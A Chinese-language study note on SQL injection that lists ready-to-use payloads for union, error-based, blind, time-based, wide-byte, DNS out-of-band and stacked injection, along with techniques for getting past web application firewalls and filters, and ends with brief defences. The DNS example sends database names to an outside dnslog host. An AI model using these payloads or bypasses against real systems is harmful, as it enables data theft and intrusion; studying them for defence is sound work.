SQL注入笔记
字数 1668 2025-08-10 20:57:54
SQL注入攻击与防御技术详解
1. SQL注入原理及危害
1.1 原理
SQL注入是攻击者通过构造特殊SQL代码在前端提交,由于前端、后端未对传递参数进行有效处理,导致后端将恶意SQL语句发送给数据库执行,从而获取数据库信息或服务器控制权的攻击方式。
1.2 危害
- 获取数据库所有数据(库名、表名、字段名等)
- 非法贩卖用户数据
- 写入木马获取服务器控制权
- 篡改网页内容
1.3 特点
- 广泛性:任何基于SQL语言的数据库都可能被攻击
- 隐蔽性:嵌入普通HTTP请求中,难以区分
- 危害大:威胁整个数据库系统安全
- 操作方便:工具简单易学
2. SQL注入过程及种类
2.1 SQL注入过程
- 探测注入点:寻找存在漏洞的动态网页
- 收集数据库信息:判断数据库类型
- 猜解凭证:获取表名、字段名、用户名和密码
- 查找后台入口:利用扫描工具寻找管理平台
- 入侵破坏:上传木马、篡改网页等
2.2 SQL注入种类
2.2.1 联合查询(显错注入)
前提:页面有显示位
基本语法:
?id=9 union select 1,2 -- qwe
?id=9 union select 1,database() -- qwe
?id=9 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
2.2.2 报错注入
适用场景:无显示位但有错误信息输出
常用函数:
updatexml()extractvalue()
示例:
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) -- qwe
?id=1'^extractvalue(1,concat(0x5c,(select(database()))))%23
2.2.3 布尔盲注
适用场景:只能通过页面返回True/False判断
常用函数:
substr()length()ascii()left()/right()
示例:
?id=1' and length(database())=1 -- qwe
?id=1' and ascii(substr(database(),1,1)) = 32 --qwe
2.2.4 时间盲注
适用场景:页面无任何明显变化
常用函数:
if()sleep()benchmark()
示例:
?id=1' and if(1=1,sleep(3),1)
?id=1' and if(ascii(substr(database(),1,1))=105,sleep(2),1) -- qwe
2.2.5 宽字节注入
原理:利用GBK编码特性绕过转义
示例:
?id=1%df' order by 5--+
?id=1%df' and 1=2 union select 1,2,3,4,database()--+
2.2.6 HEAD注入
常见注入点:
- User-Agent
- Cookie
- Referer
- X-forwarded-for
2.2.7 POST注入
与GET注入原理相同,仅提交方式不同
2.2.8 偏移注入(Access数据库)
适用场景:无法查询列名时
示例:
union select 1,2,3,4,5,6,7,admin.* from admin
2.2.9 DNS注入
前提:secure_file_priv选项为空
示例:
select load_file(concat('//',(select database()),'.y7x7i.dnslog.cn'));
2.2.10 堆叠注入
原理:利用分号执行多条SQL语句
示例:
?id=1;handler FlagHere open;handler FlagHere read next;handler FlagHere close;-- +
3. WAF与SQL注入过滤绕过
3.1 WAF原理
工作过程:
- 解析HTTP请求
- 匹配规则
- 执行防御动作
3.2 绕过技术
3.2.1 编码绕过
- URL编码
- Unicode编码
- Base64编码
- Hex编码
3.2.2 其他绕过方式
- 字母大小写转换:
SeLeCt - 空格过滤绕过:
- 使用
+或/**/替代 - 使用空白符(%0A, %0D等)
- 使用
- 双关键字:
ununionion - 内联注释:
/*!50001select*/ - 异常Method:使用PUT等非常用方法
- 超大数据包:添加无用字符
- 复参数:
?id=1&id=2 - %00截断:利用空字节截断
- 协议未覆盖:使用multipart/form-data等
- 分块编码传输:使用Transfer-Encoding: chunked
3.3 特定过滤绕过技巧
-
空格过滤:
- %a0、%0B替代
- 使用括号
()绕过
-
特定字符过滤:
- 大小写混合
- 双写关键字(anandd)
- 特殊符号替代(&&替代and)
-
注释符过滤:
- 使用单双引号闭合
or '1'='1闭合
-
等号过滤:
- 使用>或<
- 使用like
-
函数过滤:
- 使用功能相同函数替代
substring()→mid()
4. 防御措施
- 参数化查询:使用预处理语句
- 输入验证:严格校验用户输入
- 最小权限原则:限制数据库账户权限
- 错误处理:避免显示详细错误信息
- WAF部署:使用Web应用防火墙
- 编码转换:统一字符编码
- 定期更新:及时修补已知漏洞
5. 工具与脚本
文中提供了Python脚本示例用于自动化布尔盲注和时间盲注攻击,可根据实际场景调整使用。
本技术文档全面涵盖了SQL注入的攻击原理、技术实现、绕过方法和防御措施,可作为安全研究和防御工作的参考指南。